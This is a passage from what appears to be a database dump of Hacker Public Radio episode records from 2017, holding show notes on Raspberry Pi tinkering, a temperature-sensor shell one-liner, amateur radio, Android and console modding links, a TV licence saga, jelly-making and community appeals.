to <a href=\"https://www.raspberrypi.org/documentation/hardware/raspberrypi/bootmodes/net_tutorial.md\">Network Boot</a> your Raspberry Pi and in that way the sdcard is barely used, and all traffic is run off the network. If you are deploying a lot of pi\'s in a area with a good physical network then this is a great option as well. This has the advantage that all the files are kept on the network and can be completely controlled from a central location.</p>\r\n<p>If you can\'t be bothered to stick around and find out how I did it, you can download the script <a href=\"https://github.com/kenfallon/fix-ssh-on-pi\">fix-ssh-on-pi.bash from git hub</a>. Remember that it is intended more as inspiration rather than a working tool out of the box. I deliberately wrote it so you must edit it to make it fit your needs.</p>\r\n<p>See the  <a href=\"https://hackerpublicradio.org/eps/hpr2356/index.html\">complete show notes</a> for the step by step instructions that lead to the creation of the script file, with credit been given to the sites that offered each part of the solution.</p>',30,0,1,'CC-BY-SA','Raspberry Pi, ssh',0,0,1),
(2354,'2017-08-10','Night Sounds in Rural Tennessee',210,'A recording of the night sounds outside Tullahoma, Tennessee','<p>\r\nUpon arriving at my parents\' house tonight, I was struck anew by the incredible sounds of wildlife where they live in the woods. I decided to record and share with the HPR audience.\r\n</p>',238,101,0,'CC-BY-SA','nature, insects, wildlife',0,0,1),
(2353,'2017-08-09','RoboThermometer',756,'A surprisingly short geeky episode about connecting a temperature sensor to a Raspberry Pi','<p>Sorry this is such a short episode. I don\'t know what came over me, I was just listening to Mr.X talking about doing something with Python in Hacker Public Radio episode 2340, and for some reason I just felt a compulsion to record <em>some</em> kind of episode myself. It was so strange. I\'m way behind on my Hacker Public Radio contribution duties anyway, so here\'s a quick, geeky tutorial about a thing I did with a Raspberry Pi just to try it.</p>\r\n<p>The temperature sensor I\'m using is one of the many &quot;1-wire&quot; protocol devices supported by established kernel drivers, hence the reference to loading the modules for it:</p>\r\n<pre><code>sudo modprobe w1-gpio\r\nsudo modprobe w1-therm</code></pre>\r\n<p>The part about adding &quot;dtoverlay=w1-gpio&quot; to <code>/boot/config.txt</code> and then rebooting is also necessary, otherwise the modules load but no devices show up in <code>/sys/bus/w1/devices/</code> .</p>\r\n<p>Part of the fun was coming up with a way of extracting the temperature reading in useful form without having to write a bunch of unnecessary python code. Not that there\'s anything wrong with python, but I get the impression that some people think everything &quot;RaspberryPi&quot; has to be written in python. An example of this that amused me is the piFM project, which cleverly abuses the first-generation Raspberry Pi spread-spectrum circuitry to turn it into a surprisingly powerful FM radio transmitter. This project had two ways to run it - the actual compiled C program that takes input audio and makes FM radio come out...and a python &quot;module&quot; that was literally just a system call that...ran the C program that takes the audio and makes FM radio come out.</p>\r\n<p>Examples of reading the temperature data that I ran into tended to also be short python scripts, so I took it as a challenge to do without, resulting in the fun-to-recite command in the episode, which on my system is:</p>\r\n<pre><code>echo &quot;scale=3; (`grep -o &quot;[[:digit:]]\\{5\\}&quot; /sys/bus/w1/devices/28-05167380f6ff/w1_slave`/(5000/9))+32&quot; | bc</code></pre>\r\n<p>As an example of what you get with a correctly connected and configured DS18B20 module on a Raspberry Pi, in my case the device shows up as:</p>\r\n<pre><code>/sys/bus/w1/devices/28-05167380f6ff/</code></pre>\r\n<p>Your device\'s number after the &quot;28-&quot; will be different, so just replace my example with your own device\'s number.</p>\r\n<p>If you read the &quot;w1_slave&quot; virtual-file in that directory, you get something that looks similar to this:</p>\r\n<pre><code>67 01 4b 46 7f ff 0c 10 c4 : crc=c4 YES\r\n67 01 4b 46 7f ff 0c 10 c4 t=22437</code></pre>\r\n<p>To be <em>completely</em> proper, one probably <em>should</em> validate that output to make sure the CRC matches so you know for sure that the read of the temperature data was correct, but I\'ve had Zabbix checking my living-room temperature once every minute for a couple of days now and seen no odd readings or failures, so I\'m not going to bother making anything more complicated than my hypnotic one-liner, unless I ever try to use the same kind of setup to monitor something more important, like a tank of expensive fish or a bioreactor full of beer.</p>\r\n<p>If you want some more detailed connection instructions for the DS18B20 temperature sensor and the Raspberry Pi, here is one of the many online pages with the whole process:</p>\r\n<p><a href=\"https://learn.adafruit.com/adafruits-raspberry-pi-lesson-11-ds18b20-temperature-sensing/hardware\" class=\"uri\">https://learn.adafruit.com/adafruits-raspberry-pi-lesson-11-ds18b20-temperature-sensing/hardware</a></p>',182,0,0,'CC-BY-SA','Raspberry Pi,Shell,Zabbix,Monitoring,Temperature,DS18B20,Sensors,Linux',0,0,1),
(2355,'2017-08-11','Wii and WiiU Software Modding',736,'I go over my current Wii and WiiU setup','<p><a href=\"https://wiiu.guide/\" class=\"uri\">https://wiiu.guide/</a> A complete guide to Wii U custom firmware, from stock to Coldboot Haxchi.</p>',36,0,1,'CC-BY-SA','wii,wiiu,console hacking',0,0,1),
(2357,'2017-08-15','Air Soft Mini Howto',853,'I talk about my current setup for AirSoft and how we should all have hobbies! ','<p><a href=\"https://airsoftjunkiez.com\" class=\"uri\">https://airsoftjunkiez.com</a></p>\r\n<p>get off the computer !</p>',36,0,1,'CC-BY-SA','airsoft',0,0,1),
(2358,'2017-08-16','Amateur radio round table #2',2769,'Two of us trying to explain stuff mostly off the cuffs.','<p>This time only the two of us:</p>\r\n<ul>\r\n<li>Steve, KD0IJP</li>\r\n<li>Michael, DL4MGM</li>\r\n</ul>\r\n<p>A lot of off the cuff technical explanation.</p>\r\n<p>Starting from the comment by David Whitman to the last round table, we talk about frequency, wave length, propagation velocity and their relations. <a href=\"https://en.wikipedia.org/wiki/Wavelength\" class=\"uri\">https://en.wikipedia.org/wiki/Wavelength</a>. Approximate wave length values are commonly used to reference to entire &quot;frequency bands&quot;, which are the frequency spectrum portions allocated to a certain radio service in proximity. Status of (amateur) frequency allocation may vary with band or country. They may not be &quot;exclusive&quot; and there can be &quot;primary&quot; and &quot;secondary&quot; radio services sharing that spectrum. Secondary services must not interfere with primary ones, while the other way round has to be accepted.</p>\r\n<p>What frequency is most powerful? - It depends! We ramble a bit how different frequencies have different propagation depending on certain factors like daytime, time of year, sun spot cycle. - Please help out with more in depth information here! Join us. There is a varying maximum and a minimum useable frequency for ionospheric propagation. <a href=\"https://en.wikipedia.org/wiki/Maximum_usable_frequency\" class=\"uri\">https://en.wikipedia.org/wiki/Maximum_usable_frequency</a></p>\r\n<p>VHF (globally &gt; 30MHz) and UHF (&gt; 300 MHz) waves have a more line of sight propagation. Steve shortly introduces the concept of repeater stations. Usually at an exposed location, a repeater retransmits the signal that is received at another frequency, thus extending communication range. Participants only need to reach the repeater in order to be able communicate with each other. We hint at additional propagation modes for VHF, like sporadic E-layer propagation, but are not able to go into detail. - Please tell us, if you have experience in those fields!</p>\r\n<p>Some thoughts about RF output power and how it is less important if conditions are right.</p>\r\n<p>Modulation: Putting &quot;information&quot; onto a radio frequency signal. Staring out as a clean &quot;carrier wave&quot;, its parameters are modified according to the modulation scheme. We start out and explain the basic concepts of amplitude modulation, AM, where the amplitude of the radio wave is altered by the modulating signal. Then frequency modulation, FM, where the modulation process influences frequency of the output signal. We use voice audio as an example as modulation content, but this can of course be of digital nature. SSB, single side band modulation. It is the standard voice modulation mode for short wave amateur communication. We give a very brief explanation of one possible way of generating it. We discuss how it is more efficient than AM in regard to occupied frequency spectrum use and transmit power.</p>\r\n<p>This leads to ideas how great it would be if someone could record a show about those things, including audio examples. We further digress in how it may be a good idea to single out individual topics separate shows. The &quot;rabbit holes&quot; (tm MrX I think) we fall in while explaining other stuff. Make them available to be simply referenced in later shows and we can concentrate on the topic at hand.</p>\r\n<p>There will be a place to put ideas and draw inspiration for shows here: <a href=\"https://etherpad.net/p/HPR-HAM-TOPICS\" class=\"uri\">https://etherpad.net/p/HPR-HAM-TOPICS</a></p>\r\n<p>Next we pick up the discussion of frequency shift caused by the Doppler effect and its effect on satellite operation. This was triggered by a question in &quot;hpr2216 :: Working AO-85 with my son&quot; (<a href=\"https://hackerpublicradio.org/eps.php?id=2216\" class=\"uri\">https://hackerpublicradio.org/eps.php?id=2216</a>). <a href=\"https://en.wikipedia.org/wiki/Doppler_effect\" class=\"uri\">https://en.wikipedia.org/wiki/Doppler_effect</a></p>\r\n<p>We ramble a bit how in the wide field of amateur radio no one can know everything right from the beginning. Take the jump start provided by the knowledge required for the test and go on with learning by doing.</p>\r\n<p>How cool would it be to have shows from &quot;Ham fests&quot; like the &quot;Dayton Hamvention&quot;, the &quot;HAM RADIO&quot; or any other event. A brief mention of the &quot;ARRL Fieldday&quot;.</p>\r\n<p>We have a mini poll and want to get feed back from the audience, if they would be interested to have some sort of decoding riddle in future shows.</p>\r\n',109,0,0,'CC-BY-SA','amateur radio, modulation, AM, FM, SSB, doppler, satellite',0,0,1),
(2359,'2017-08-17','Android ROM and PAIN',1522,'I go over some of my pain and love for Android over the years','<p><a href=\"https://www.nirsoft.net/utils/usb_devices_view.html\" class=\"uri\">https://www.nirsoft.net/utils/usb_devices_view.html</a></p>\r\n<p><a href=\"https://forum.xda-developers.com\" class=\"uri\">https://forum.xda-developers.com</a></p>\r\n<p><a href=\"https://www.bignox.com/\" class=\"uri\">https://www.bignox.com/</a></p>',36,0,1,'CC-BY-SA','Android,phone',0,0,1),
(2361,'2017-08-21','Information Underground: Working Out',2447,'Deepgeek, Lostnbronx, and Klaatu talk about exercise.','Deepgeek, Lostnbronx, and Klaatu talk about exercise.',78,99,0,'CC-BY-SA','Information Underground',0,0,1),
(2376,'2017-09-11','Information Underground: 21st Century Superstar',3180,'Deepgeek, Lostnbronx, and Klaatu talk about iconless culture','<p>Deepgeek, Lostnbronx, and Klaatu talk about cultural iconography.</p>',73,99,0,'CC-BY-SA','culture, cultural icon',0,0,1),
(2396,'2017-10-09','Information Underground: State of independence',2560,'Deepgeek, Lostnbronx, and Klaatu talk about the state of independent art.','<p>Deepgeek, Lostnbronx, and Klaatu talk about the state of independent art.</p>',107,99,0,'CC-BY-SA','art, independent art, media, marketing',0,0,1),
(2362,'2017-08-22','Raspbian X86 on Lenovo x61s',670,'This is another distro review show','<p>This show is about putting the new Raspbian image onto one of the Lenovo x61s laptops that I have previously talked about.</p>\r\n<p>These laptops do not have a DVD drive so normally I would create a boot flash drive using USB image writer in Linux Mint, but I had received a DVD of Raspbian with the MagPi magazine so I connected a portable USB DVD drive that I have and used the disc to install to the laptop.</p>\r\n<p>On booting to the DVD drive you get several options including a live session with persistence (this allows the saving of data and system changes to a flash drive during the session if wanted), but the option I chose was to install to hard drive.</p>\r\n<p>This gives a simplified Debian installer and for new users with no previous experience of installing Linux it recommends one of the options at each stage. The only issue I had was at the stage it asks where to install Grub it does not automatically highlight the main drive (Sda) a small gripe but for a newcomer it could confuse.</p>\r\n<p>That said the install went flawlessly and upon first boot I was left with the PIXEL desktop with the task bar at the top of the screen and a short cut for the recycle bin. The boot time on this laptop with a Core2Duo 4Gig Ram and 120Gig SSD was about 30 seconds which is good also it was only using 87mb of the available RAM on start up, this shows the credentials of an OS built to run on the original 256mb Pi.</p>\r\n<p>First job is to navigate to Raspberry config from the menu bar by going to:</p>\r\n<p>Open Menu &gt; Preferences &gt; Raspberry Pi Configuration.</p>\r\n<p>From here you have a number of options but the important one is to change the default password from raspberry to something a little more secure.   After this I connected the Laptop to my WiFi network which is flawless on the x61s as it is an Intel WiFi card, I can\'t comment on other cards here.</p>\r\n<p>The next task that I did was to run the terminal commands \'<code>sudo apt update</code>\' &amp; \'<code>sudo apt upgrade</code>\'. This will result in an updated system with all the security fixes installed and any package upgrades that are available.</p>\r\n<p>The one thing I was not happy about is that Raspbian allows \'sudo\' access for terminal commands without requesting a password by default, this can be fixed if you feel this is a major issue depending on what you are using the device for.</p>\r\n<p><a href=\"https://raspberrypi.stackexchange.com/questions/7133/how-to-change-user-pi-sudo-permissions-how-to-add-other-accounts-with-different\" class=\"uri\">https://raspberrypi.stackexchange.com/questions/7133/how-to-change-user-pi-sudo-permissions-how-to-add-other-accounts-with-different</a>  </p>\r\n<p>After completing the upgrade I decided to add the \'Synaptic\' package manager to the install as this makes finding software a little easier if you not sure exactly what you\'re looking for. This is as simple as \'<code>sudo apt install synaptic</code>\' in the terminal and once installed you\'ll find a link to it under preferences in the menu.</p>\r\n<p>One thing that I found that did not work out of the box was Audio, I had to install some Alsa packages and audacity to collect the needed dependencies for the audio to work. So I installed Alsa player, Alsa mixer GUI and Audacity and after this and a reboot miraculously audio now worked.</p>\r\n<p>Also there was not battery monitor installed so I installed Batmon so that I could check the battery status of the laptop.   On the whole given that Raspbian has been built to be compatible with all iterations of the Raspberry Pi board the software installed by default while minimal includes all the basics for web use - Chromium, email - Claws and office work - Open Office suit, along side all the Pi favourites such as Scratch (including Scratch 2) and Python programming tools.   Would I use Raspbian x86 as a daily driver, with a few tweaks, I might, particularly on an older PC/Laptop. I need to try it on an old Atom Net Book to see if it will work well on a really low specified system but a Pentium 4 with a couple of gig of RAM should work reasonably well as a development and homework PC for a school student so could extend the life of an old machine you may have kicking around. But a Core2Duo is definitely a goer, even with a basic 1Gig of Ram it should work quite well and 2Gig or better no issues at all.</p>\r\n<p>There is a link to the iso download via HTTP or torrent here:</p>\r\n<p><a href=\"https://www.zdnet.com/article/raspbian-gnulinux-new-release-includes-installable-x86-image/\" class=\"uri\">https://www.zdnet.com/article/raspbian-gnulinux-new-release-includes-installable-x86-image/</a></p>\r\n',338,0,0,'CC-BY-SA','Raspbian,X86,Lenovo',0,0,1),
(2363,'2017-08-23','Cancelling my TV licence',639,'I don\'t watch any TV so I don\'t need a licence, but cancelling it is unexpectedly difficult','<h1 id=\"cancelling-my-tv-licence\">Cancelling my TV licence</h1>\r\n<h2 id=\"i-get-a-letter\">I get a letter</h2>\r\n<p>In July 2017 I received a letter from the <a href=\"https://tvlicensing.co.uk\" title=\"TV Licensing\">TV Licensing</a> organisation telling me they\'d be taking £147 from my account on the 1st of August. I had set up a &quot;<em>Direct Debit</em>&quot; arrangement with my bank many years before which allowed them to do this, and had forgotten all about it.</p>\r\n<p>When my kids were small, and later in their teens, a lot of TV was watched in my house. We used to watch all the over the air channels, and when things started to move towards digital in the UK I bought a PVR (aka <a href=\"https://en.wikipedia.org/wiki/Digital_video_recorder\" title=\"Digital Video Recorder\">DVR</a>) which converted the <a href=\"https://www.freeview.co.uk/\" title=\"Freeview\">Freeview</a> channels into a signal for my analogue TV, and also recorded stuff on demand.</p>\r\n<p>I watched some TV after I retired in 2009, but by 2013 with my kids having left home (to all intents and purposes), and the quality of what was available having fallen to a record low, I stopped.</p>\r\n<p>When this letter arrived I realised I\'d been paying for this licence to watch TV for several years without using it.</p>\r\n<h2 id=\"i-throw-out-my-tv\">I throw out my TV</h2>\r\n<p>The old analogue, CRT TV sitting in the corner of my room (and the associated Freeview PVR) had not been turned on for 4 years, so it was time for them to go. So I took my TV to the recycling centre with the help of my son. The PVR will be hacked for useful components.</p>\r\n<h2 id=\"i-cancel-my-licence\">I cancel my licence</h2>\r\n<p>Next step was to stop paying this annual licence. The letter told me what to do. I discovered I fulfilled all the requirements listed there:</p>\r\n<ul>\r\n<li>I never watch or record programmes as they are being shown on TV</li>\r\n<li>I never download or watch BBC programmes on demand</li>\r\n<li>I don\'t do this on a TV, desktop computer, laptop, mobile phone, tablet, games console, digital box or DVD/VHS recorder.</li>\r\n</ul>\r\n<p>I called the number on the back of the letter and cancelled.</p>\r\n<p>The guy I spoke to said I\'d get a letter of confirmation soon. I asked if they\'d cancel the Direct Debit or whether I should. He advised me to cancel myself, so I did it immediately.</p>\r\n<h2 id=\"i-get-my-confirmation-letter\">I get my confirmation letter</h2>\r\n<p>A number of days later I received a letter entitled (rather oddly) &quot;Your No Licence Needed confirmation&quot;. It told me my <em>no licence</em> was valid from July 2017 and expired July 2019.</p>\r\n<p>The letter did point out that I might receive a visit to &quot;confirm that a licence isn\'t needed&quot;.</p>\r\n<p>A friendly leaflet accompanying the letter contained the question and answer:</p>\r\n<p><b><em>Can I be prosecuted for watching BBC programmes on BBC iPlayer without a licence?</em></b></p>\r\n<blockquote>\r\n<p><em>Yes. From 1 September 2016, you risk prosecution and a fine of up to £1,000 plus any legal costs and/or compensation you may be ordered to pay.</em></p>\r\n</blockquote>\r\n<h2 id=\"i-get-an-urgent-letter-from-tv-licensing\">I get an urgent letter from TV Licensing</h2>\r\n<p>On the 12th August I received a letter from TV Licensing which asked me to call them urgently because my bank had declined a Direct Debit payment request.</p>\r\n<p>I called on the 14th August and was told that this was a mistake and the letter could be ignored.</p>\r\n<p>However, to get this answer I had to navigate 4 menus and give my details to a robot. Of course the person I eventually contacted asked for the details all over again! This made me wonder if the robot is there for any purpose other than to be a deterrent to callers. The same goes for the 4 menus.</p>\r\n<h2 id=\"i-get-a-phone-call-from-tv-licensing\">I get a phone call from TV Licensing</h2>\r\n<p>On 17th August I found a message on my answering machine asking me to call TV Licensing. I did so, and navigated the 4 menus again. This time the robot asked for my licence number, but since I reasoned I didn\'t have one I gave it the reference number of my <em>no licence</em>. That didn\'t work.</p>\r\n<p>It then asked for my postcode, street name, house number and payment details. It confirmed the address stuff but when I said I didn\'t pay for a licence it passed me to a human.</p>\r\n<p>The lady I was speaking to then asked for my name, address, postcode, etc. I asked why I was being asked for this again having just given it to a robot. Apparently these weren\'t passed through because I &quot;failed&quot; to answer all the questions properly. That\'s odd because the same happened last time when I got the questions &quot;right&quot;!</p>\r\n<p>This time it turned out that the problem was that my <em>no licence</em> had been cancelled. No reason was given.</p>\r\n<p>I asked why, if a thing I had carefully set up with the expectation of it remaining in place for 2 years had been cancelled, I hadn\'t been notified. I didn\'t get an answer.</p>\r\n<h2 id=\"conclusion\">Conclusion</h2>\r\n<p>It seems that TV Licensing has one of the worst systems for managing its &quot;customers&quot; on the planet. I told the representative that this was my opinion while I was on the phone.</p>\r\n<p>I\'m wondering what\'s next in the saga. Will it be the &quot;heavies&quot; at the door (I\'m not obliged to let them in without a warrant, I discovered), a legendary TV Detector van outside my house (I\'d like to see one and take a picture of it), another spurious money demand or unexplained loss of my details?</p>\r\n<p>However, although it has been bad, this story did give me something to write and talk about for HPR so it\'s not all bad!</p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li>Web site of the <a href=\"https://www.freeview.co.uk/\">Freeview</a> service</li>\r\n<li>Wikipedia page on <a href=\"https://en.wikipedia.org/wiki/Freeview_(UK)\">Freeview</a></li>\r\n<li>Wikipedia page on the <a href=\"https://en.wikipedia.org/wiki/Digital_video_recorder\">Digital Video Recorder</a></li>\r\n<li><a href=\"https://tvlicensing.co.uk\">TV Licensing</a> website</li>\r\n<li>Wikipedia page &quot;<a href=\"https://en.wikipedia.org/wiki/Television_licensing_in_the_United_Kingdom\"><em>TV Licensing in the United Kingdom</em></a>&quot;</li>\r\n</ul>',225,0,1,'CC-BY-SA','TV,television,licence',0,0,1),
(2364,'2017-08-24','Managing Your Android with AirDroid',875,'Frank discusses AirDroid, an app for managing Your Android via a browser.','<p>Frank Bell talks about the Android app, AirDroid, a utility for managing your Android phone via your browser. You can use it to transfer files back and forth between your phone and a computer, edit your contacts, control your camera, and much more.</p>\r\n<p>Website: <a href=\"https://www.airdroid.com/\" class=\"uri\">https://www.airdroid.com/</a></p>\r\n<p>Some screenshots:</p>\r\n<p>AirDroid &quot;Accept Connection&quot; Screen:<br />\r\n<img src=\"https://pineviewfarm.net/weblog/wp-content/uploads/2017/08/AirDroid_Accept.jpg\" alt=\"https://pineviewfarm.net/weblog/wp-content/uploads/2017/08/AirDroid_Accept.jpg\" /></p>\r\n<p>&quot;AirDroid Devices&quot; Screen:<br />\r\n<img src=\"https://pineviewfarm.net/weblog/wp-content/uploads/2017/08/AirDroid_Devices.jpg\" alt=\"https://pineviewfarm.net/weblog/wp-content/uploads/2017/08/AirDroid_Devices.jpg\" /></p>\r\n<p>AirDroid Browser Interface:<br />\r\n<img src=\"https://pineviewfarm.net/weblog/wp-content/uploads/2017/08/AirDroid_file_view.jpg\" alt=\"https://pineviewfarm.net/weblog/wp-content/uploads/2017/08/AirDroid_file_view.jpg\" /></p>',195,0,0,'CC-BY-SA','Android, phones, file transfer',0,0,1),
(2365,'2017-08-25','Rolling out a radio-based internet service in rural England',1176,'One person\'s quest to get a decent internet connection when the big corporations aren\'t interested.','<p>In the UK there is a lot of competition in the telecoms business but, in reality, most of the players rely on infrastructure owned and operated by one company - BT.</p>\r\n<p>Urban customers benefit greatly from this competition and probably have the cheapest telecom services in Europe as a result. The emphasis of the providers is, understandably, areas of high population concentrations. The problem is that nowadays a lot of people living in rural areas need fast and reliable internet connections to do their jobs and run their businesses.</p>\r\n<p>What do you do when you live in a remote area and the major internet providers have no plans to roll fast connections out to where you live?</p>\r\n<p>In this episode Beeza describes how he found a solution and managed to get it implemented.</p>',246,0,0,'CC-BY-SA','Internet, ISP, BT, Wireless Networking, Infrastructure, rural',0,0,1),
(2366,'2017-08-28','Making Bramble Jelly',665,'This is a show on making Bramble Jelly','<h2 id=\"how-to-make-jamjelly\">How to make Jam/Jelly</h2>\r\n<p>Hi again HPR listeners, its the time of the year when I turn my hand to foraging and making Jelly from the local wild brambles.</p>\r\n<p>The season has started early here in the UK so I’ve already produced over 60 jars of bramble jelly this year with more to come. Thankfully I have people who donate old jam jars for reuse during the year which I store for this very time of the year so I have not had any problems with jars for storage.</p>\r\n<p>First on the issue of hygiene, before filling all the jars have previously been de-labelled and on the day of production are given another wash in hot soapy water, rinsed and placed in the oven and cooked for at least 15 minutes at 150° Centigrade (300° Fahrenheit) to sterilise them. All the lids are also boiled in water and kept hot until just before use for the same reason.</p>\r\n<p>The first thing I do in making jelly is wash the collected fruit (Blackberries) and put it in a pan with a little water to start cooking, then mash with a vegetable masher to start the process of breaking down the fruit. I also add 1 Lemon cut in half to each 1½ Kg of fruit both for the acidity and the pectin in the pith of the lemon (this helps setting the jelly as it cools). If there are any available I add wild plums to the mix in about a 10% ratio of plums to the Brambles as these are also rich in pectin.</p>\r\n<p>Once the fruit has boiled and broken down leave to cool, then remove the lemon skins ensuring you scrape the inside to get the gelatinous pulp into the pot as this contains the pectin. Now the fruit needs to be strained to remove the seeds etc. and just leave the juice for making the jelly.</p>\r\n<p>Once this has been done reduce the juice by about a third to concentrate it a little then measure the remaining juice to calculate how much sugar you will need for making the jelly. I use 1Kg sugar to each Liter of juice (1lb/US Pint)</p>\r\n<p>Put the juice in a pan large enough that it only comes half way up after the sugar is added as you need room for it to expand as it boils, bring the Juice back up to a boil and add the sugar stirring until it\'s all dissolved. This will have cooled it all down again so continue heating the juice and sugar mix until it starts to boil. At this stage you need to keep the juice boiling until it has come to Jam temp (105°C/220°F). If you have a Jam Thermometer you can use that to find the jam/jelly point. I don’t so I use a mixture of visual clues (boiling with lots of small bubbles on the surface) and using a cold plate kept in the freezer to test the Jelly as it cooks until its ready. You need to boil the juice for 10-15 minutes after it gets to temperature then put a drop of the juice on a cold saucer and leave for a minute, after which run your finger through the blob of juice and if it ripples up and stays there without closing the gap created you have Jelly. If not boil for a further 5 minutes and repeat until you have a setting jelly.</p>\r\n<p><small><small><em>Editor\'s Note: above adjusted in accordance with the comment 2017-08-19</em></small></small></p>\r\n<p><img src=\"https://hackerpublicradio.org/eps/hpr2366_Boiling_Jelly.jpg\" alt=\"Boiling Jelly\" /><br />\r\nBoiling Jelly</p>\r\n<p><img src=\"https://hackerpublicradio.org/eps/hpr2366_Jam_setting.jpg\" alt=\"Jam setting\" /><br />\r\nJam setting</p>\r\n<p>At this point remove pan from the heat and allow to cool for 10 minutes. During this time you can drain your lids and lay them on a clean towel with the inside facing up ready to put on the jars (I’m using recycled store bought jars and lids. If using preserving jars follow the instructions with these.</p>\r\n<p>As this is a jelly you don’t need a fancy jam funnel as it pours well from a jug, just ensure it is clean and dry as the high heat of the jelly will ensure it is sterile on use, but if you\'re paranoid about infection sterilise it the same way as your jars in preparation.</p>\r\n<p>All that remains is to remove a few jars from the oven, fill with the Jelly liquid, having given it a stir as you fill your jug. Put on the lids of the jars ensuring they are on tightly. If they have the security pop up button as the jelly cools if the lid is on correctly this will be sucked down showing a good seal.</p>\r\n<p>Place the filled jars somewhere to cool, then label with a date and what it is, and you\'re set to enjoy your own home made jelly until it runs out, or give away as a home made gift to friends and family.</p>\r\n<p>If you want more info about making jams and jellies YouTube is full of how to videos.</p>\r\n',338,93,0,'CC-BY-SA','Cooking, Jam, Jelly',0,0,1),
(2367,'2017-08-29','How I create and post a show to HPR',1209,'In this episode I describe the process I use to create and post a show to HPR.','<p>Below are my original rough show notes I used to guide me along my rambling path of describing how I record a show</p>\r\n<ul>\r\n<li><p>How I record a podcast</p>\r\n<ul>\r\n<li>Start recording the show go through setting up recording level &amp; adjusting my microphone, then do my usual introduction at the beginning.</li>\r\n</ul></li>\r\n<li><p>How I record and post a show</p>\r\n<ul>\r\n<li><p>First talk about folder structure</p></li>\r\n<li><p>Write show notes. If I don’t know the subject well enough or perhaps want to go into some detail, Wikipedia can be very handy here.</p></li>\r\n<li><p>Record it using cheap gaming headset with boom microphone, about 2 minutes into my show I give a demonstration of a badly placed microphone. I fully expected this to produce a lot of wind noise in the recording, this unfortunately didn\'t happen, the boom microphone I\'m using is obviously much less susceptible to this than my previous microphone. Still it\'s always advisable to never place your microphone directly in front of your mouth. I tend to put mine at about chin level while making sure my chin never actually touches it.</p></li>\r\n<li><p>Record it by pushing the record button and talking</p></li>\r\n<li><p>Listen to it once or twice I tend to remove any bad stutters large silences, mistakes and some ums and ah’s.</p></li>\r\n<li><p>Add my own theme music to the beginning of the track (Explain)</p></li>\r\n<li><p>Intro and outro not required as HPR add this</p></li>\r\n<li><p>Highlight track with voice on it and select compression</p></li>\r\n<li><p>Write up show notes using LibreOffice writer while listening to show one more time.</p></li>\r\n<li><p>Export track in flac format, don’t add any information when exporting such as artist title etc as this is added later by HPR</p></li>\r\n<li><p>Go to the HPR calendar page pick a free slot</p></li>\r\n<li><p>HPR will send you a time limited link via email</p></li>\r\n<li><p>Click on link to open the upload page for your show</p></li>\r\n<li><p>Fill in the required details from the show notes prepared in LibreOffice writer</p></li>\r\n<li><p>Browse to final flac show</p></li>\r\n<li><p>Submit show, job done</p></li>\r\n</ul></li>\r\n</ul>\r\n<p>Just a little note if all this seems a bit complicated it doesn\'t have to be, this is how I normally produce a show you could instead just hit record on your recording device. Record it in just about any audio format, click on the free slot link on the HPR calendar page and upload the show without any show notes, HPR will do the rest.</p>',201,0,0,'CC-BY-SA','HPR, recording, audacity',0,0,1),
(2368,'2017-08-30','Every cloude has a silver lining',143,'Short, somewhat rhyming, thoughts provoked by an emptying show queue.','<p>Just some rambling about HPR and that you should record a show!</p>\r\n<pre>\r\nThe world\'s going down, the HPR queue is low.\r\nBe one of the saviours, RECORD A SHOW!\r\n\r\nWhatever topic, you are not alone.\r\nFeel free to seek help, if you can\'t do on your own.\r\n\r\nOne will have to struggle, to find a friendlier crowd\r\nwith that wide range coverage from the simplest to \"clouds\".\r\n\r\nFrom toy to high tech and from jokes to wise words.\r\nEmbracing you all. - Not just the nerds.\r\n\r\nIt\'s not a \"service\", HPR is WE!\r\nSo contribute the stuff, you\'d like more of to see.\r\n\r\nIf YOU like it, others surely too will.\r\nDiversity defines the realm, we are aiming to fill. \r\n\r\nSure, there are heroes, lifting most of the weight.\r\nBut we all are the foundation, deciding HPR\'s fate.\r\n\r\nBe thankful, you slackers, who leave those free slots,\r\nfor those few prolific, still filling the spots.\r\n\r\nPlease don\'t keep the burden on shoulders so few.\r\nChime in with some topic, by sharing your view.\r\n\r\nHigh praise to those, stepping in a first time!\r\nWe need more of you though, to strengthen the lines. \r\n\r\nLike an episode? - Please let us know!\r\nIt\'s positive feed back, that\'s keeping us go.\r\n\r\nComment on the page or record a reply.\r\nThere\'s no reason for hiding or being overly shy.\r\n\r\nIt\'s a community effort to make the thing we love stay.\r\nBecause failing would mean, that HPR goes away.\r\n\r\nBut it takes more than bad times to make HPR disappear!\r\nTogether we stand, and we all are still here.\r\n\r\nBit by bit, sharing knowledge and fun,\r\nbuilding the confidence that HPR WILL go on. \r\n\r\nIt\'s up to us, so just pick up the ball\r\nand keep the show rolling, for the sake of us all.\r\n</pre>',271,0,0,'CC-BY-SA','poetry, low queue',0,0,1),
(2377,'2017-09-12','A Rambling Drive Into Work',1361,'An attempt at making a show on the way into work','<p>Please excuse the audio quality in the episode &amp; feel free to skip if it\'s too painful on the ears. In the episode, I mainly talk about my two most recent cars as I couldn’t think of anything else to talk about off the cuff.</p>\r\n<ul>\r\n<li><p>This is the <a href=\"https://www.amazon.co.uk/HccToo-Multifunctional-Rechargeable-Dictaphone-Conversation/dp/B015H9JP6S/ref=sr_1_1?ie=UTF8&amp;qid=1502381150&amp;sr=8-1&amp;keywords=dictation+machines\">dictation device</a> I used</p></li>\r\n<li><p>This is similar to my previous <a href=\"https://www.google.co.uk/imgres?imgurl=http%3A%2F%2Fcdn1.autoexpress.co.uk%2Fsites%2Fautoexpressuk%2Ffiles%2Fstyles%2Fgallery_adv%2Fpublic%2Fford-focus-1.8-zetec-20043.jpg%3Fitok%3Dx-ON1j2e&amp;imgrefurl=http%3A%2F%2Fwww.autoexpress.co.uk%2Fford%2Ffocus%2F65783%2Fused-buyers-guide-ford-focus-mki-pictures&amp;docid=4nS4RCflAVR9gM&amp;tbnid=f23vSCT0oyYW9M%3A&amp;vet=10ahUKEwin64L6hM3VAhUsKcAKHZUoCVgQMwiyAigyMDI..i&amp;w=1013&amp;h=675&amp;client=ubuntu&amp;bih=923&amp;biw=1341&amp;q=ford%20focus&amp;ved=0ahUKEwin64L6hM3VAhUsKcAKHZUoCVgQMwiyAigyMDI&amp;iact=mrc&amp;uact=8\">Ford Focus</a></p></li>\r\n<li><p>This is similar to my current <a 